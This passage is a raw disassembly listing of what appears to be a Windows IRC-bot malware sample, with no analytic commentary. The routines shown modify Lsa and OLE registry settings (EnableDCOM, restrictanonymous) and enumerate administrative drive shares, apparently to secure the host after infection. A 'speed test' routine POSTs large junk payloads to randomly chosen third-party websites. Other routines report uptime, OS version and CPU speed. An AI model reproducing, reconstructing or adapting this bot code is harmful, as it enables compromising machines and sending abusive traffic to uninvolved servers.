push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+Str]
push 0FFFFFFFFh
push eax
push 1F6h
push edi
call dword_4CB918
cmp eax, edi
mov [ebp+var_10], eax
jz short loc_41A5EA
cmp eax, 0EAh
jz short loc_41A5EA
mov esi, offset off_43A548
loc_41A57E: ; CODE XREF: sub_41A3C6+21Dj
push dword ptr [esi]
push edi
call sub_4191B8
pop ecx
pop ecx
push dword ptr [esi]
test eax, eax
jnz short loc_41A595
push offset dword_43A65C
jmp short loc_41A59A
; ---------------------------------------------------------------------------
loc_41A595: ; CODE XREF: sub_41A3C6+1C6j
push offset asc_43A630 ; "-"
loc_41A59A: ; CODE XREF: sub_41A3C6+1CDj
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 10h
cmp [ebp+arg_C], edi
jnz short loc_41A5CD
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 14h
loc_41A5CD: ; CODE XREF: sub_41A3C6+1EBj
lea eax, [ebp+Dest]
push eax
call sub_415D38
add esi, 8
pop ecx
cmp esi, offset dword_43A568
jb short loc_41A57E
jmp loc_41A682
; ---------------------------------------------------------------------------
loc_41A5EA: ; CODE XREF: sub_41A3C6+1AAj
; sub_41A3C6+1B1j
mov esi, dword ptr [ebp+Str]
push 1
pop ebx
cmp [ebp+var_4], ebx
jb loc_41A679
loc_41A5F9: ; CODE XREF: sub_41A3C6+2AFj
mov edi, [esi]
push edi ; Str
call _wcslen
cmp word ptr [edi+eax*2-2], 24h
pop ecx
jnz short loc_41A66E
push edi
call sub_4190A5
push eax
push 0
call sub_4191B8
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_41A628
push offset dword_43A60C
jmp short loc_41A62D
; ---------------------------------------------------------------------------
loc_41A628: ; CODE XREF: sub_41A3C6+259j
push offset asc_43A5E0 ; "-"
loc_41A62D: ; CODE XREF: sub_41A3C6+260j
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41A661
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 14h
loc_41A661: ; CODE XREF: sub_41A3C6+27Fj
lea eax, [ebp+Dest]
push eax
call sub_415D38
pop ecx
loc_41A66E: ; CODE XREF: sub_41A3C6+242j
add esi, 28h
inc ebx
cmp ebx, [ebp+var_4]
jbe short loc_41A5F9
xor edi, edi
loc_41A679: ; CODE XREF: sub_41A3C6+22Dj
push dword ptr [ebp+Str]
call dword_4CBA64
loc_41A682: ; CODE XREF: sub_41A3C6+21Fj
cmp [ebp+var_10], 0EAh
jz loc_41A54D
lea eax, [ebp+Dest]
push offset asc_43A5B8 ; "-"
push eax ; Dest
call _sprintf
pop ecx
pop ecx
pop ebx
jmp short loc_41A6B8
; ---------------------------------------------------------------------------
loc_41A6A5: ; CODE XREF: sub_41A3C6+177j
lea eax, [ebp+Dest]
push offset asc_43A588 ; "-"
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_41A6B8: ; CODE XREF: sub_41A3C6+2DDj
cmp [ebp+arg_C], edi
jnz short loc_41A6D6
push edi ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 14h
loc_41A6D6: ; CODE XREF: sub_41A3C6+2F5j
lea eax, [ebp+Dest]
push eax
call sub_415D38
pop ecx
push 1
pop eax
pop edi
pop esi
leave
retn
sub_41A3C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A6EA proc near ; CODE XREF: sub_41A366:loc_41A3ADp
Dest = byte ptr -220h
var_20 = dword ptr -20h
var_14 = byte ptr -14h
Str = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 220h
push ebx
xor ebx, ebx
cmp dword_4CBAA4, ebx
push esi
jnz loc_41A818
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push ebx
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_4CBA44 ; RegOpenKeyExA
test eax, eax
jnz short loc_41A775
mov ax, word_4392DC
mov word ptr [ebp+Str+2], ax
lea eax, [ebp+Str+2]
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str+2]
push eax
push 1
push ebx
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_4CB9F8 ; RegSetValueExA
test eax, eax
jz short loc_41A757
push offset dword_43A938
jmp short loc_41A75C
; ---------------------------------------------------------------------------
loc_41A757: ; CODE XREF: sub_41A6EA+64j
push offset asc_43A91C ; "-"
loc_41A75C: ; CODE XREF: sub_41A6EA+6Bj
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB9B0 ; RegCloseKey
jmp short loc_41A788
; ---------------------------------------------------------------------------
loc_41A775: ; CODE XREF: sub_41A6EA+36j
lea eax, [ebp+Dest]
push offset asc_43A770 ; "-"
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_41A788: ; CODE XREF: sub_41A6EA+89j
cmp [ebp+arg_C], ebx
jnz short loc_41A7A7
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 14h
loc_41A7A7: ; CODE XREF: sub_41A6EA+A1j
lea eax, [ebp+Dest]
push eax
call sub_415D38
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push ebx
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_4CBA44 ; RegOpenKeyExA
test eax, eax
jnz short loc_41A811
lea eax, [ebp+Str]
push 4
push eax
push 4
push ebx
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov dword ptr [ebp+Str], ebx
call dword_4CB9F8 ; RegSetValueExA
test eax, eax
jz short loc_41A7F3
push offset dword_43A8DC
jmp short loc_41A7F8
; ---------------------------------------------------------------------------
loc_41A7F3: ; CODE XREF: sub_41A6EA+100j
push offset asc_43A8A4 ; "-"
loc_41A7F8: ; CODE XREF: sub_41A6EA+107j
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB9B0 ; RegCloseKey
jmp short loc_41A82B
; ---------------------------------------------------------------------------
loc_41A811: ; CODE XREF: sub_41A6EA+E2j
push offset dword_43A868
jmp short loc_41A81D
; ---------------------------------------------------------------------------
loc_41A818: ; CODE XREF: sub_41A6EA+13j
push offset asc_43A680 ; "-"
loc_41A81D: ; CODE XREF: sub_41A6EA+12Cj
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_41A82B: ; CODE XREF: sub_41A6EA+125j
cmp [ebp+arg_C], ebx
jnz short loc_41A84A
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 14h
loc_41A84A: ; CODE XREF: sub_41A6EA+144j
lea eax, [ebp+Dest]
push eax
call sub_415D38
cmp dword_4CBACC, ebx
pop ecx
jnz loc_41A9BF
push edi
mov esi, offset off_43A548
mov edi, 200h
loc_41A86E: ; CODE XREF: sub_41A6EA+1E9j
push dword ptr [esi+4] ; int
push dword ptr [esi] ; Str
push ebx ; int
call sub_41910C
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_41A889
push offset dword_43A848
jmp short loc_41A88E
; ---------------------------------------------------------------------------
loc_41A889: ; CODE XREF: sub_41A6EA+196j
push offset asc_43A820 ; "-"
loc_41A88E: ; CODE XREF: sub_41A6EA+19Dj
lea eax, [ebp+Dest]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
cmp [ebp+arg_C], ebx
jnz short loc_41A8BD
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 14h
loc_41A8BD: ; CODE XREF: sub_41A6EA+1B7j
lea eax, [ebp+Dest]
push eax
call sub_415D38
add esi, 8
pop ecx
cmp esi, offset off_43A558
jb short loc_41A86E
call ds:dword_427198 ; GetLogicalDrives
test eax, eax
mov [ebp+var_4], eax
mov bl, 41h
jz loc_41A9A7
loc_41A8E8: ; CODE XREF: sub_41A6EA+2B7j
mov eax, [ebp+var_4]
and eax, 1
cmp al, 1
jnz loc_41A99C
cmp bl, 41h
jz loc_41A99C
movsx esi, bl
push esi
push offset aC_1 ; "%c$"
lea eax, [ebp+var_14]
push 0Ah ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+var_20]
push esi
push offset aC_0 ; "%c:\\"
push 0Ah ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+var_20]
push eax
call dword_4CBA34 ; GetDriveTypeA
cmp eax, 3
jnz short loc_41A99C
lea eax, [ebp+var_20]
push eax ; int
lea eax, [ebp+var_14]
push eax ; Str
push 0 ; int
call sub_41910C
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_14]
push eax
jnz short loc_41A95A
push offset dword_43A848
jmp short loc_41A95F
; ---------------------------------------------------------------------------
loc_41A95A: ; CODE XREF: sub_41A6EA+267j
push offset asc_43A820 ; "-"
loc_41A95F: ; CODE XREF: sub_41A6EA+26Ej
lea eax, [ebp+Dest]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41A98F
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 14h
loc_41A98F: ; CODE XREF: sub_41A6EA+289j
lea eax, [ebp+Dest]
push eax
call sub_415D38
pop ecx
loc_41A99C: ; CODE XREF: sub_41A6EA+206j
; sub_41A6EA+20Fj ...
inc bl
shr [ebp+var_4], 1
jnz loc_41A8E8
loc_41A9A7: ; CODE XREF: sub_41A6EA+1F8j
lea eax, [ebp+Dest]
push offset asc_43A7F0 ; "-"
push eax ; Dest
call _sprintf
pop ecx
xor ebx, ebx
pop ecx
pop edi
jmp short loc_41A9D2
; ---------------------------------------------------------------------------
loc_41A9BF: ; CODE XREF: sub_41A6EA+173j
lea eax, [ebp+Dest]
push offset asc_43A588 ; "-"
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_41A9D2: ; CODE XREF: sub_41A6EA+2D3j
cmp [ebp+arg_C], ebx
jnz short loc_41A9F0
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 14h
loc_41A9F0: ; CODE XREF: sub_41A6EA+2EBj
lea eax, [ebp+Dest]
push eax
call sub_415D38
pop ecx
push 1
pop eax
pop esi
pop ebx
leave
retn
sub_41A6EA endp
; =============== S U B R O U T I N E =======================================
sub_41AA04 proc near ; CODE XREF: sub_41ABFB+CBp
; sub_41ABFB+DDp ...
arg_0 = dword ptr 4
call ds:dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
call _rand
cdq
idiv [esp+arg_0]
mov eax, edx
retn
sub_41AA04 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41AA1E(char *Str)
sub_41AA1E proc near ; CODE XREF: sub_41ABFB+D4p
; sub_41ABFB+E6p ...
var_38 = dword ptr -38h
Dst = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = qword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
Source = dword ptr -8
var_4 = dword ptr -4
Str = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
push edi
push [ebp+Str] ; Str
call _strlen
mov esi, 0FFh
pop ecx
cmp eax, esi
ja loc_41ABF7
push 10h ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
push [ebp+Str]
mov [ebp+Dst], 2
call sub_40A8F0
add esp, 10h
mov [ebp+var_24], eax
test eax, eax
jz loc_41ABF7
push 50h
call dword_4CB9D4 ; htons
push 6
push 1
push 2
mov [ebp+var_26], ax
call dword_4CBA54 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_41ABF7
lea ecx, [ebp+Dst]
push 10h
push ecx
push eax
call dword_4CB97C ; connect
cmp eax, 0FFFFFFFFh
jz loc_41ABF7
push 32003h ; unsigned int
call ??2@YAPAXI@Z ; operator new(uint)
mov edi, ds:dword_4270B0
mov ebx, eax
pop ecx
mov [ebp+Source], ebx
call edi ; GetTickCount
push eax ; Size
call sub_41C2B8
call _rand
cdq
idiv esi
mov [esp+38h+var_38], 32001h
push 0 ; Val
push ebx ; Dst
movsx esi, dl
call _memset
push 32000h ; Size
push esi ; Val
push ebx ; Dst
call _memset
push ebx ; Str
call _strlen
push 323EAh ; unsigned int
mov ebx, eax
call ??2@YAPAXI@Z ; operator new(uint)
add esp, 20h
mov esi, eax
push ebx
push [ebp+Str]
push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
push esi ; Dest
call _sprintf
push [ebp+Source] ; Source
push esi ; Dest
call _strcat
push offset asc_4349EC ; "\r\n"
push esi ; Dest
call _strcat
push esi ; Str
call _strlen
mov ebx, eax
add esp, 24h
mov [ebp+var_10], ebx
call edi ; GetTickCount
mov dword ptr [ebp+var_18+4], eax
xor eax, eax
test ebx, ebx
mov [ebp+Str], eax
jbe short loc_41AB77
mov [ebp+var_C], ebx
mov ebx, 400h
jmp short loc_41AB47
; ---------------------------------------------------------------------------
loc_41AB44: ; CODE XREF: sub_41AA1E+157j
mov eax, [ebp+Str]
loc_41AB47: ; CODE XREF: sub_41AA1E+124j
mov ecx, [ebp+var_10]
push 0
sub ecx, eax
cmp ecx, ebx
jnb short loc_41AB57
push [ebp+var_C]
jmp short loc_41AB58
; ---------------------------------------------------------------------------
loc_41AB57: ; CODE XREF: sub_41AA1E+132j
push ebx
loc_41AB58: ; CODE XREF: sub_41AA1E+137j
add eax, esi
push eax
push [ebp+var_4]
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jz short loc_41ABDE
add [ebp+Str], ebx
sub [ebp+var_C], ebx
mov eax, [ebp+Str]
cmp eax, [ebp+var_10]
jb short loc_41AB44
loc_41AB77: ; CODE XREF: sub_41AA1E+11Aj
call edi ; GetTickCount
sub eax, dword ptr [ebp+var_18+4]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
fmul ds:flt_4276F4
fst [ebp+Str]
fcomp ds:flt_4276F0
fnstsw ax
sahf
jnz short loc_41AB9F
fld1
fstp [ebp+Str]
loc_41AB9F: ; CODE XREF: sub_41AA1E+17Aj
push [ebp+var_4]
call dword_4CBA6C ; closesocket
push [ebp+Source]
call sub_41BA91
push esi
call sub_41BA91
mov eax, [ebp+var_10]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
pop ecx
fild [ebp+var_18]
pop ecx
fdiv [ebp+Str]
fmul ds:flt_4276EC
fmul ds:flt_4276E8
call __ftol
loc_41ABD9: ; CODE XREF: sub_41AA1E+1DBj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41ABDE: ; CODE XREF: sub_41AA1E+149j
push [ebp+var_4]
call dword_4CBA6C ; closesocket
push [ebp+Source]
call sub_41BA91
push esi
call sub_41BA91
pop ecx
pop ecx
loc_41ABF7: ; CODE XREF: sub_41AA1E+19j
; sub_41AA1E+42j ...
xor eax, eax
jmp short loc_41ABD9
sub_41AA1E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41ABFB(int,char *Str,int)
sub_41ABFB proc near ; CODE XREF: sub_401ACD+2E1Ep
Dest = byte ptr -26Ch
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 26Ch
push ebx
push esi
push edi
push 8
mov [ebp+var_4], 3
mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
mov [ebp+var_34], offset aVerio_fr ; "verio.fr"
mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
mov [ebp+var_20], offset aWww_google_it ; "www.google.it"
mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com"
mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net"
mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
mov [ebp+var_48], offset aWww_above_net ; "www.above.net"
mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
mov [ebp+var_40], offset aWww_google_com ; "www.google.com"
mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
call sub_41AA04
push [ebp+eax*4+var_3C] ; Str
call sub_41AA1E
push 8
mov esi, eax
call sub_41AA04
push [ebp+eax*4+var_3C] ; Str
call sub_41AA1E
add esp, 10h
test esi, esi
jz short loc_41ACFC
test eax, eax
jz short loc_41ACF8
lea ebx, [eax+esi]
shr ebx, 1
jmp short loc_41ACFE
; ---------------------------------------------------------------------------
loc_41ACF8: ; CODE XREF: sub_41ABFB+F4j
mov ebx, esi
jmp short loc_41ACFE
; ---------------------------------------------------------------------------
loc_41ACFC: ; CODE XREF: sub_41ABFB+F0j
mov ebx, eax
loc_41ACFE: ; CODE XREF: sub_41ABFB+FBj
; sub_41ABFB+FFj
push 0Ch
call sub_41AA04
push [ebp+eax*4+var_6C] ; Str
call sub_41AA1E
push 0Ch
mov edi, eax
call sub_41AA04
push [ebp+eax*4+var_6C] ; Str
call sub_41AA1E
add esp, 10h
test edi, edi
jz short loc_41AD36
test eax, eax
jz short loc_41AD32
lea esi, [eax+edi]
shr esi, 1
jmp short loc_41AD38
; ---------------------------------------------------------------------------
loc_41AD32: ; CODE XREF: sub_41ABFB+12Ej
mov esi, edi
jmp short loc_41AD38
; ---------------------------------------------------------------------------
loc_41AD36: ; CODE XREF: sub_41ABFB+12Aj
mov esi, eax
loc_41AD38: ; CODE XREF: sub_41ABFB+135j
; sub_41ABFB+139j
push 6
call sub_41AA04
push [ebp+eax*4+var_1C] ; Str
call sub_41AA1E
push 6
mov edi, eax
call sub_41AA04
push [ebp+eax*4+var_1C] ; Str
call sub_41AA1E
add esp, 10h
test edi, edi
jz short loc_41AD70
test eax, eax
jz short loc_41AD6C
lea ecx, [eax+edi]
shr ecx, 1
jmp short loc_41AD72
; ---------------------------------------------------------------------------
loc_41AD6C: ; CODE XREF: sub_41ABFB+168j
mov ecx, edi
jmp short loc_41AD72
; ---------------------------------------------------------------------------
loc_41AD70: ; CODE XREF: sub_41ABFB+164j
mov ecx, eax
loc_41AD72: ; CODE XREF: sub_41ABFB+16Fj
; sub_41ABFB+173j
xor eax, eax
test ebx, ebx
jz short loc_41AD7F
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_41AD82
; ---------------------------------------------------------------------------
loc_41AD7F: ; CODE XREF: sub_41ABFB+17Bj
push 2
pop edi
loc_41AD82: ; CODE XREF: sub_41ABFB+182j
test esi, esi
jz short loc_41AD8A
add eax, esi
jmp short loc_41AD8B
; ---------------------------------------------------------------------------
loc_41AD8A: ; CODE XREF: sub_41ABFB+189j
dec edi
loc_41AD8B: ; CODE XREF: sub_41ABFB+18Dj
test ecx, ecx
jz short loc_41AD93
add eax, ecx
jmp short loc_41AD94
; ---------------------------------------------------------------------------
loc_41AD93: ; CODE XREF: sub_41ABFB+192j
dec edi
loc_41AD94: ; CODE XREF: sub_41ABFB+196j
xor edx, edx
div edi
push eax
push ecx
push esi
push ebx
lea eax, [ebp+Dest]
push offset asc_43A990 ; "-"
push eax ; Dest
call _sprintf
push 0 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409869
lea eax, [ebp+Dest]
push eax
call sub_415D38
add esp, 30h
pop edi
pop esi
pop ebx
leave
retn
sub_41ABFB endp
; =============== S U B R O U T I N E =======================================
sub_41ADD8 proc near ; CODE XREF: sub_401ACD+257Bp
; sub_401ACD+29CDp ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
call ds:dword_4270B0 ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, 15180h
xor edx, edx
mov esi, ebx
mov edi, 0E10h
mov ebp, edi
push 3Ch
mov ecx, eax
sub ecx, [esp+14h+arg_0]
mov eax, ecx
div esi
mov esi, edx
xor edx, edx
mov eax, esi
div ebp
pop ebp
mov eax, edx
xor edx, edx
div ebp
xor edx, edx
push eax
mov eax, esi
div edi
xor edx, edx
mov esi, offset byte_4DBC90
push eax
mov eax, ecx
div ebx
push eax
push offset aDdDhDm ; "%dd %dh %dm"
push 32h ; Count
push esi ; Dest
call __snprintf
add esp, 18h
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41ADD8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AE41 proc near ; CODE XREF: sub_4172C1+24p
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
push ebp
mov ebp, esp
sub esp, 94h
lea eax, [ebp+var_94]
push esi
push eax
xor esi, esi
mov [ebp+var_94], 94h
call ds:dword_4270D0 ; GetVersionExA
test eax, eax
jz short loc_41AED4
cmp [ebp+var_90], 4
jnz short loc_41AEAA
cmp [ebp+var_8C], esi
jnz short loc_41AE92
cmp [ebp+var_84], 1
jnz short loc_41AE85
push 1
pop esi
loc_41AE85: ; CODE XREF: sub_41AE41+3Fj
cmp [ebp+var_84], 2
jnz short loc_41AED4
push 1
jmp short loc_41AED3
; ---------------------------------------------------------------------------
loc_41AE92: ; CODE XREF: sub_41AE41+36j
cmp [ebp+var_8C], 0Ah
jnz short loc_41AE9F
loc_41AE9B: ; CODE XREF: sub_41AE41+78j
push 2
jmp short loc_41AED3
; ---------------------------------------------------------------------------
loc_41AE9F: ; CODE XREF: sub_41AE41+58j
cmp [ebp+var_8C], 5Ah
jnz short loc_41AED4
jmp short loc_41AEC4
; ---------------------------------------------------------------------------
loc_41AEAA: ; CODE XREF: sub_41AE41+2Ej
cmp [ebp+var_90], 5
jnz short loc_41AED4
cmp [ebp+var_8C], esi
jz short loc_41AE9B
cmp [ebp+var_8C], 1
jnz short loc_41AEC8
loc_41AEC4: ; CODE XREF: sub_41AE41+67j
push 3
jmp short loc_41AED3
; ---------------------------------------------------------------------------
loc_41AEC8: ; CODE XREF: sub_41AE41+81j
cmp [ebp+var_8C], 2
jnz short loc_41AED4
push 7
loc_41AED3: ; CODE XREF: sub_41AE41+4Fj
; sub_41AE41+5Cj ...
pop esi
loc_41AED4: ; CODE XREF: sub_41AE41+25j
; sub_41AE41+4Bj ...
mov eax, esi
pop esi
leave
retn
sub_41AE41 endp
; =============== S U B R O U T I N E =======================================
sub_41AED9 proc near ; CODE XREF: sub_41AF8F+290p
push ebx
push esi
push edi
mov esi, 0F4240h
loc_41AEE1: ; CODE XREF: sub_41AED9+2Fj
; sub_41AED9+35j
rdtsc
push 3E8h
mov edi, edx
mov ebx, eax
call ds:dword_427080 ; Sleep
rdtsc
sub eax, ebx
push 0
sbb edx, edi
push esi
push edx
push eax
call __aulldiv
mov edi, edx
mov ebx, eax
test edi, edi
ja short loc_41AEE1
jb short loc_41AF10
cmp ebx, esi
ja short loc_41AEE1
loc_41AF10: ; CODE XREF: sub_41AED9+31j
push 0
push 64h
push edi
push ebx
call __aullrem
mov ecx, edx
push 64h
xor edx, edx
mov esi, eax
test ecx, ecx
pop eax
ja short loc_41AF83
jb short loc_41AF2F
cmp esi, 50h
jnb short loc_41AF34
loc_41AF2F: ; CODE XREF: sub_41AED9+4Fj
push 4Bh
xor edx, edx
pop eax
loc_41AF34: ; CODE XREF: sub_41AED9+54j
test ecx, ecx
ja short loc_41AF83
jb short loc_41AF3F
cmp esi, 47h
jnb short loc_41AF44
loc_41AF3F: ; CODE XREF: sub_41AED9+5Fj
push 42h
xor edx, edx
pop eax
loc_41AF44: ; CODE XREF: sub_41AED9+64j
test ecx, ecx
ja short loc_41AF83
jb short loc_41AF4F
cmp esi, 37h
jnb short loc_41AF54
loc_41AF4F: ; CODE XREF: sub_41AED9+6Fj
push 32h
xor edx, edx
pop eax
loc_41AF54: ; CODE XREF: sub_41AED9+74j
test ecx, ecx
ja short loc_41AF83
jb short loc_41AF5F
cmp esi, 26h
jnb short loc_41AF64
loc_41AF5F: ; CODE XREF: sub_41AED9+7Fj
push 21h
xor edx, edx
pop eax
loc_41AF64: ; CODE XREF: sub_41AED9+84j
test ecx, ecx
ja short loc_41AF83
jb short loc_41AF6F
cmp esi, 1Eh
jnb short loc_41AF74
loc_41AF6F: ; CODE XREF: sub_41AED9+8Fj
push 19h
xor edx, edx
pop eax
loc_41AF74: ; CODE XREF: sub_41AED9+94j
test ecx, ecx
ja short loc_41AF83
jb short loc_41AF7F
cmp esi, 0Ah
jnb short loc_41AF83
loc_41AF7F: ; CODE XREF: sub_41AED9+9Fj
xor eax, eax
xor edx, edx
loc_41AF83: ; CODE XREF: sub_41AED9+4Dj
; sub_41AED9+5Dj ...
sub eax, esi
sbb edx, ecx
add eax, ebx
adc edx, edi
pop edi
pop esi
pop ebx
retn
sub_41AED9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AF8F proc near ; CODE XREF: sub_401ACD+2728p
var_7E8 = byte ptr -7E8h
var_668 = byte ptr -668h
var_5E8 = byte ptr -5E8h
var_568 = byte ptr -568h
FullPath = byte ptr -4E8h
var_3E4 = byte ptr -3E4h
Dest = byte ptr -2E8h
var_25C = word ptr -25Ch
var_25A = byte ptr -25Ah
var_15C = byte ptr -15Ch
var_114 = byte ptr -114h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
Dst = byte ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
Drive = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7E8h
push ebx
push esi
lea eax, [ebp+var_CC]
push edi
push eax
mov [ebp+var_4], offset byte_43DB88
mov [ebp+var_CC], 94h
call ds:dword_4270D0 ; GetVersionExA
xor ebx, ebx
cmp [ebp+var_C8], 4
jnz short loc_41B016
cmp [ebp+var_C4], ebx
jnz short loc_41AFF2
cmp [ebp+var_BC], 1
jnz short loc_41AFDC
mov [ebp+var_4], offset a95 ; "95"
loc_41AFDC: ; CODE XREF: sub_41AF8F+44j
cmp [ebp+var_BC], 2
jnz loc_41B091
mov [ebp+var_4], offset aNt_0 ; "NT"
jmp short loc_41B062
; ---------------------------------------------------------------------------
loc_41AFF2: ; CODE XREF: sub_41AF8F+3Bj
cmp [ebp+var_C4], 0Ah
jnz short loc_41B004
mov [ebp+var_4], offset a98 ; "98"
jmp short loc_41B059
; ---------------------------------------------------------------------------
loc_41B004: ; CODE XREF: sub_41AF8F+6Aj
